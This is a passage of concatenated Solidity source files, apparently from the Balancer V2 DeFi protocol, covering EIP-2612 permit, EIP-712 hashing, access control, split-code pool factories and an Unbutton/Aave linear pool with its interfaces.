uint256 nonce = _nonces[owner]; bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, nonce, deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ecrecover(hash, v, r, s); _require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE); _nonces[owner] = nonce + 1; _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner]; } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view virtual returns (bytes32) { return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { // Silence state mutability warning without generating bytecode. // See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and // https://github.com/ethereum/solidity/issues/2691 this; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./IAuthentication.sol"; /** * @dev Building block for performing access control on external functions. * * This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied * to external functions to only make them callable by authorized accounts. * * Derived contracts must implement the `_canPerform` function, which holds the actual access control logic. */ abstract contract Authentication is IAuthentication { bytes32 private immutable _actionIdDisambiguator; /** * @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in * multi contract systems. * * There are two main uses for it: * - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers * unique. The contract's own address is a good option. * - if the contract belongs to a family that shares action identifiers for the same functions, an identifier * shared by the entire family (and no other contract) should be used instead. */ constructor(bytes32 actionIdDisambiguator) { _actionIdDisambiguator = actionIdDisambiguator; } /** * @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions. */ modifier authenticate() { _authenticateCaller(); _; } /** * @dev Reverts unless the caller is allowed to call the entry point function. */ function _authenticateCaller() internal view { bytes32 actionId = getActionId(msg.sig); _require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED); } function getActionId(bytes4 selector) public view override returns (bytes32) { // Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the // function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of // multiple contracts. return keccak256(abi.encodePacked(_actionIdDisambiguator, selector)); } function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/helpers/BaseSplitCodeFactory.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; /** * @dev Same as `BasePoolFactory`, for Pools whose creation code is so large that the factory cannot hold it. */ abstract contract BasePoolSplitCodeFactory is BaseSplitCodeFactory { IVault private immutable _vault; mapping(address => bool) private _isPoolFromFactory; event PoolCreated(address indexed pool); constructor(IVault vault, bytes memory creationCode) BaseSplitCodeFactory(creationCode) { _vault = vault; } /** * @dev Returns the Vault's address. */ function getVault() public view returns (IVault) { return _vault; } /** * @dev Returns true if `pool` was created by this factory. */ function isPoolFromFactory(address pool) external view returns (bool) { return _isPoolFromFactory[pool]; } function _create(bytes memory constructorArgs) internal override returns (address) { address pool = super._create(constructorArgs); _isPoolFromFactory[pool] = true; emit PoolCreated(pool); return pool; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Utility to create Pool factories for Pools that use the `TemporarilyPausable` contract. * * By calling `TemporarilyPausable`'s constructor with the result of `getPauseConfiguration`, all Pools created by this * factory will share the same Pause Window end time, after which both old and new Pools will not be pausable. */ contract FactoryWidePauseWindow { // This contract relies on timestamps in a similar way as `TemporarilyPausable` does - the same caveats apply. // solhint-disable not-rely-on-time uint256 private constant _INITIAL_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _BUFFER_PERIOD_DURATION = 30 days; // Time when the pause window for all created Pools expires, and the pause window duration of new Pools becomes // zero. uint256 private immutable _poolsPauseWindowEndTime; constructor() { _poolsPauseWindowEndTime = block.timestamp + _INITIAL_PAUSE_WINDOW_DURATION; } /** * @dev Returns the current `TemporarilyPausable` configuration that will be applied to Pools created by this * factory. * * `pauseWindowDuration` will decrease over time until it reaches zero, at which point both it and * `bufferPeriodDuration` will be zero forever, meaning deployed Pools will not be pausable. */ function getPauseConfiguration() public view returns (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { uint256 currentTime = block.timestamp; if (currentTime < _poolsPauseWindowEndTime) { // The buffer period is always the same since its duration is related to how much time is needed to respond // to a potential emergency. The Pause Window duration however decreases as the end time approaches. pauseWindowDuration = _poolsPauseWindowEndTime - currentTime; // No need for checked arithmetic. bufferPeriodDuration = _BUFFER_PERIOD_DURATION; } else { // After the end time, newly created Pools have no Pause Window, nor Buffer Period (since they are not // pausable in the first place). pauseWindowDuration = 0; bufferPeriodDuration = 0; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./BalancerErrors.sol"; import "./CodeDeployer.sol"; /** * @dev Base factory for contracts whose creation code is so large that the factory cannot hold it. This happens when * the contract's creation code grows close to 24kB. * * Note that this factory cannot help with contracts that have a *runtime* (deployed) bytecode larger than 24kB. */ abstract contract BaseSplitCodeFactory { // The contract's creation code is stored as code in two separate addresses, and retrieved via `extcodecopy`. This // means this factory supports contracts with creation code of up to 48kB. // We rely on inline-assembly to achieve this, both to make the entire operation highly gas efficient, and because // `extcodecopy` is not available in Solidity. // solhint-disable no-inline-assembly address private immutable _creationCodeContractA; uint256 private immutable _creationCodeSizeA; address private immutable _creationCodeContractB; uint256 private immutable _creationCodeSizeB; /** * @dev The creation code of a contract Foo can be obtained inside Solidity with `type(Foo).creationCode`. */ constructor(bytes memory creationCode) { uint256 creationCodeSize = creationCode.length; // We are going to deploy two contracts: one with approximately the first half of `creationCode`'s contents // (A), and another with the remaining half (B). // We store the lengths in both immutable and stack variables, since immutable variables cannot be read during // construction. uint256 creationCodeSizeA = creationCodeSize / 2; _creationCodeSizeA = creationCodeSizeA; uint256 creationCodeSizeB = creationCodeSize - creationCodeSizeA; _creationCodeSizeB = creationCodeSizeB; // To deploy the contracts, we're going to use `CodeDeployer.deploy()`, which expects a memory array with // the code to deploy. Note that we cannot simply create arrays for A and B's code by copying or moving // `creationCode`'s contents as they are expected to be very large (> 24kB), so we must operate in-place. // Memory: [ code length ] [ A.data ] [ B.data ] // Creating A's array is simple: we simply replace `creationCode`'s length with A's length. We'll later restore // the original length. bytes memory creationCodeA; assembly { creationCodeA := creationCode mstore(creationCodeA, creationCodeSizeA) } // Memory: [ A.length ] [ A.data ] [ B.data ] // ^ creationCodeA _creationCodeContractA = CodeDeployer.deploy(creationCodeA); // Creating B's array is a bit more involved: since we cannot move B's contents, we are going to create a 'new' // memory array starting at A's last 32 bytes, which will be replaced with B's length. We'll back-up this last // byte to later restore it. bytes memory creationCodeB; bytes32 lastByteA; assembly { // `creationCode` points to the array's length, not data, so by adding A's length to it we arrive at A's // last 32 bytes. creationCodeB := add(creationCode, creationCodeSizeA) lastByteA := mload(creationCodeB) mstore(creationCodeB, creationCodeSizeB) } // Memory: [ A.length ] [ A.data[ : -1] ] [ B.length ][ B.data ] // ^ creationCodeA ^ creationCodeB _creationCodeContractB = CodeDeployer.deploy(creationCodeB); // We now restore the original contents of `creationCode` by writing back the original length and A's last byte. assembly { mstore(creationCodeA, creationCodeSize) mstore(creationCodeB, lastByteA) } } /** * @dev Returns the two addresses where the creation code of the contract crated by this factory is stored. */ function getCreationCodeContracts() public view returns (address contractA, address contractB) { return (_creationCodeContractA, _creationCodeContractB); } /** * @dev Returns the creation code of the contract this factory creates. */ function getCreationCode() public view returns (bytes memory) { return _getCreationCodeWithArgs(""); } /** * @dev Returns the creation code that will result in a contract being deployed with `constructorArgs`. */ function _getCreationCodeWithArgs(bytes memory constructorArgs) private view returns (bytes memory code) { // This function exists because `abi.encode()` cannot be instructed to place its result at a specific address. // We need for the ABI-encoded constructor arguments to be located immediately after the creation code, but // cannot rely on `abi.encodePacked()` to perform concatenation as that would involve copying the creation code, // which would be prohibitively expensive. // Instead, we compute the creation code in a pre-allocated array that is large enough to hold *both* the // creation code and the constructor arguments, and then copy the ABI-encoded arguments (which should not be // overly long) right after the end of the creation code. // Immutable variables cannot be used in assembly, so we store them in the stack first. address creationCodeContractA = _creationCodeContractA; uint256 creationCodeSizeA = _creationCodeSizeA; address creationCodeContractB = _creationCodeContractB; uint256 creationCodeSizeB = _creationCodeSizeB; uint256 creationCodeSize = creationCodeSizeA + creationCodeSizeB; uint256 constructorArgsSize = constructorArgs.length; uint256 codeSize = creationCodeSize + constructorArgsSize; assembly { // First, we allocate memory for `code` by retrieving the free memory pointer and then moving it ahead of // `code` by the size of the creation code plus constructor arguments, and 32 bytes for the array length. code := mload(0x40) mstore(0x40, add(code, add(codeSize, 32))) // We now store the length of the code plus constructor arguments. mstore(code, codeSize) // Next, we concatenate the creation code stored in A and B. let dataStart := add(code, 32) extcodecopy(creationCodeContractA, dataStart, 0, creationCodeSizeA) extcodecopy(creationCodeContractB, add(dataStart, creationCodeSizeA), 0, creationCodeSizeB) } // Finally, we copy the constructorArgs to the end of the array. Unfortunately there is no way to avoid this // copy, as it is not possible to tell Solidity where to store the result of `abi.encode()`. uint256 constructorArgsDataPtr; uint256 constructorArgsCodeDataPtr; assembly { constructorArgsDataPtr := add(constructorArgs, 32) constructorArgsCodeDataPtr := add(add(code, 32), creationCodeSize) } _memcpy(constructorArgsCodeDataPtr, constructorArgsDataPtr, constructorArgsSize); } /** * @dev Deploys a contract with constructor arguments. To create `constructorArgs`, call `abi.encode()` with the * contract's constructor arguments, in order. */ function _create(bytes memory constructorArgs) internal virtual returns (address) { bytes memory creationCode = _getCreationCodeWithArgs(constructorArgs); address destination; assembly { destination := create(0, add(creationCode, 32), mload(creationCode)) } if (destination == address(0)) { // Bubble up inner revert reason // solhint-disable-next-line no-inline-assembly assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } return destination; } // From // https://github.com/Arachnid/solidity-stringutils/blob/b9a6f6615cf18a87a823cbc461ce9e140a61c305/src/strings.sol function _memcpy( uint256 dest, uint256 src, uint256 len ) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint256 mask = 256**(32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; /** * @dev Library used to deploy contracts with specific code. This can be used for long-term storage of immutable data as * contract code, which can be retrieved via the `extcodecopy` opcode. */ library CodeDeployer { // During contract construction, the full code supplied exists as code, and can be accessed via `codesize` and // `codecopy`. This is not the contract's final code however: whatever the constructor returns is what will be // stored as its code. // // We use this mechanism to have a simple constructor that stores whatever is appended to it. The following opcode // sequence corresponds to the creation code of the following equivalent Solidity contract, plus padding to make the // full code 32 bytes long: // // contract CodeDeployer { // constructor() payable { // uint256 size; // assembly { // size := sub(codesize(), 32) // size of appended data, as constructor is 32 bytes long // codecopy(0, 32, size) // copy all appended data to memory at position 0 // return(0, size) // return appended data for it to be stored as code // } // } // } // // More specifically, it is composed of the following opcodes (plus padding): // // [1] PUSH1 0x20 // [2] CODESIZE // [3] SUB // [4] DUP1 // [6] PUSH1 0x20 // [8] PUSH1 0x00 // [9] CODECOPY // [11] PUSH1 0x00 // [12] RETURN // // The padding is just the 0xfe sequence (invalid opcode). It is important as it lets us work in-place, avoiding // memory allocation and copying. bytes32 private constant _DEPLOYER_CREATION_CODE = 0x602038038060206000396000f3fefefefefefefefefefefefefefefefefefefe; /** * @dev Deploys a contract with `code` as its code, returning the destination address. * * Reverts if deployment fails. */ function deploy(bytes memory code) internal returns (address destination) { bytes32 deployerCreationCode = _DEPLOYER_CREATION_CODE; // We need to concatenate the deployer creation code and `code` in memory, but want to avoid copying all of // `code` (which could be quite long) into a new memory location. Therefore, we operate in-place using // assembly. // solhint-disable-next-line no-inline-assembly assembly { let codeLength := mload(code) // `code` is composed of length and data. We've already stored its length in `codeLength`, so we simply // replace it with the deployer creation code (which is exactly 32 bytes long). mstore(code, deployerCreationCode) // At this point, `code` now points to the deployer creation code immediately followed by `code`'s data // contents. This is exactly what the deployer expects to receive when created. destination := create(0, code, add(codeLength, 32)) // Finally, we restore the original length in order to not mutate `code`. mstore(code, codeLength) } // The create opcode returns the zero address when contract creation fails, so we revert if this happens. _require(destination != address(0), Errors.CODE_DEPLOYMENT_FAILED); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // Source: https://github.com/buttonwood-protocol/button-wrappers/blob/main/contracts/interfaces/IButtonWrapper.sol // Interface definition for ButtonWrapper contract, which wraps an // underlying ERC20 token into a new ERC20 with different characteristics. // NOTE: "uAmount" => underlying token (wrapped) amount and // "amount" => wrapper token amount interface IButtonWrapper { //-------------------------------------------------------------------------- // ButtonWrapper write methods /// @notice Transfers underlying tokens from {msg.sender} to the contract and /// mints wrapper tokens. /// @param amount The amount of wrapper tokens to mint. /// @return The amount of underlying tokens deposited. function mint(uint256 amount) external returns (uint256); /// @notice Transfers underlying tokens from {msg.sender} to the contract and /// mints wrapper tokens to the specified beneficiary. /// @param to The beneficiary account. /// @param amount The amount of wrapper tokens to mint. /// @return The amount of underlying tokens deposited. function mintFor(address to, uint256 amount) external returns (uint256); /// @notice Burns wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @param amount The amount of wrapper tokens to burn. /// @return The amount of underlying tokens withdrawn. function burn(uint256 amount) external returns (uint256); /// @notice Burns wrapper tokens from {msg.sender} and transfers /// the underlying tokens to the specified beneficiary. /// @param to The beneficiary account. /// @param amount The amount of wrapper tokens to burn. /// @return The amount of underlying tokens withdrawn. function burnTo(address to, uint256 amount) external returns (uint256); /// @notice Burns all wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @return The amount of underlying tokens withdrawn. function burnAll() external returns (uint256); /// @notice Burns all wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @param to The beneficiary account. /// @return The amount of underlying tokens withdrawn. function burnAllTo(address to) external returns (uint256); /// @notice Transfers underlying tokens from {msg.sender} to the contract and /// mints wrapper tokens to the specified beneficiary. /// @param uAmount The amount of underlying tokens to deposit. /// @return The amount of wrapper tokens mint. function deposit(uint256 uAmount) external returns (uint256); /// @notice Transfers underlying tokens from {msg.sender} to the contract and /// mints wrapper tokens to the specified beneficiary. /// @param to The beneficiary account. /// @param uAmount The amount of underlying tokens to deposit. /// @return The amount of wrapper tokens mint. function depositFor(address to, uint256 uAmount) external returns (uint256); /// @notice Burns wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @param uAmount The amount of underlying tokens to withdraw. /// @return The amount of wrapper tokens burnt. function withdraw(uint256 uAmount) external returns (uint256); /// @notice Burns wrapper tokens from {msg.sender} and transfers /// the underlying tokens back to the specified beneficiary. /// @param to The beneficiary account. /// @param uAmount The amount of underlying tokens to withdraw. /// @return The amount of wrapper tokens burnt. function withdrawTo(address to, uint256 uAmount) external returns (uint256); /// @notice Burns all wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @return The amount of wrapper tokens burnt. function withdrawAll() external returns (uint256); /// @notice Burns all wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @param to The beneficiary account. /// @return The amount of wrapper tokens burnt. function withdrawAllTo(address to) external returns (uint256); //-------------------------------------------------------------------------- // ButtonWrapper view methods /// @return The address of the underlying token. function underlying() external view returns (address); /// @return The total underlying tokens held by the wrapper contract. function totalUnderlying() external view returns (uint256); /// @param who The account address. /// @return The underlying token balance of the account. function balanceOfUnderlying(address who) external view returns (uint256); /// @param uAmount The amount of underlying tokens. /// @return The amount of wrapper tokens exchangeable. function underlyingToWrapper(uint256 uAmount) external view returns (uint256); /// @param amount The amount of wrapper tokens. /// @return The amount of underlying tokens exchangeable. function wrapperToUnderlying(uint256 amount) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./IButtonWrapper.sol"; // Balancer only supports ERC20 tokens, so we use this intermediate interface // to enforce ERC20-ness of UnbuttonTokens. interface IUnbuttonToken is IButtonWrapper, IERC20 { // solhint-disable-previous-line no-empty-blocks } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/BasePoolSplitCodeFactory.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/FactoryWidePauseWindow.sol"; import "./UnbuttonAaveLinearPool.sol"; contract UnbuttonAaveLinearPoolFactory is BasePoolSplitCodeFactory, FactoryWidePauseWindow { constructor(IVault vault) BasePoolSplitCodeFactory(vault, type(UnbuttonAaveLinearPool).creationCode) { // solhint-disable-previous-line no-empty-blocks } /** * @dev Deploys a new `UnbuttonAaveLinearPool`. */ function create( string memory name, string memory symbol, IUnbuttonToken mainToken, IUnbuttonToken wrappedToken, uint256 upperTarget, uint256 swapFeePercentage, address owner ) external returns (LinearPool) { (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) = getPauseConfiguration(); LinearPool pool = UnbuttonAaveLinearPool( _create( abi.encode( getVault(), name, symbol, mainToken, wrappedToken, upperTarget, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) ) ); // LinearPools have a separate post-construction initialization step: we perform it here to // ensure deployment and initialization are atomic. pool.initialize(); return pool; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-standalone-utils/contracts/interfaces/IUnbuttonToken.sol"; import "../interfaces/IAToken.sol"; import "../LinearPool.sol"; /** * @title UnbuttonAaveLinearPool * * @author @aalavandhan1984 ([email protected]) * * @notice This linear pool is between any Unbutton ERC-20 (eg, wrapped AMPL) * and its corresponding Unbutton aToken (eg, wrapped aaveAMPL). * * @dev In the comments we assume that the pool is between {wAMPL - wAaveAMPL}; * however this linear pool will support any rebasing token and its * aToken counterpart both of which are wrapped using the unbutton wrapper. * * For the {wAMPL - wAaveAMPL} pool, the exchange rate is calculated based on: * - the rate between wAMPL and AMPL * - the rate between AMPL and aaveAMPL * - the rate between wAaveAMPL and aaveAMPL * * Unbutton wrapper: https://github.com/buttonwood-protocol/button-wrappers/blob/main/contracts/UnbuttonToken.sol */ contract UnbuttonAaveLinearPool is LinearPool { constructor( IVault vault, string memory name, string memory symbol, IUnbuttonToken mainToken, IUnbuttonToken wrappedToken, uint256 upperTarget, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) LinearPool( vault, name, symbol, mainToken, // wAMPL wrappedToken, // wAaveAMPL upperTarget, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { // wAMPL.underlying() == AMPL address mainUnderlying = mainToken.underlying(); // wAaveAMPL.underlying() == aaveAMPL // aaveAMPL.UNDERLYING_ASSET_ADDRESS() == AMPL address wrappedUnderlying = IAToken(wrappedToken.underlying()).UNDERLYING_ASSET_ADDRESS(); _require(mainUnderlying == wrappedUnderlying, Errors.TOKENS_MISMATCH); } /* * @dev This function returns the exchange rate between the main token and * the wrapped token as a 18 decimal fixed point number. * In our case, it's the exchange rate between wAMPL and wAaveAMPL * (i.e., the number of wAMPL for each wAaveAMPL). * All UnbuttonTokens have 18 decimals, so it is not necessary to * query decimals for the main token or wrapped token. */ function _getWrappedTokenRate() internal view override returns (uint256) { // 1e18 wAaveAMPL = r1 aaveAMPL uint256 r1 = IUnbuttonToken(getWrappedToken()).wrapperToUnderlying(FixedPoint.ONE); // r1 aaveAMPL = r1 AMPL (AMPL and aaveAMPL have a 1:1 exchange rate) // r1 AMPL = r2 wAMPL uint256 r2 = IUnbuttonToken(getMainToken()).underlyingToWrapper(r1); // 1e18 wAaveAMPL = r2 wAMPL return r2; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAToken { /** * @dev returns the address of the aToken's underlying asset */ // solhint-disable-next-line func-name-mixedcase function UNDERLYING_ASSET_ADDRESS() external view returns (address); }
Math Input Shared pools Pools Lib Vault Fees
library Errors { uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; uint256 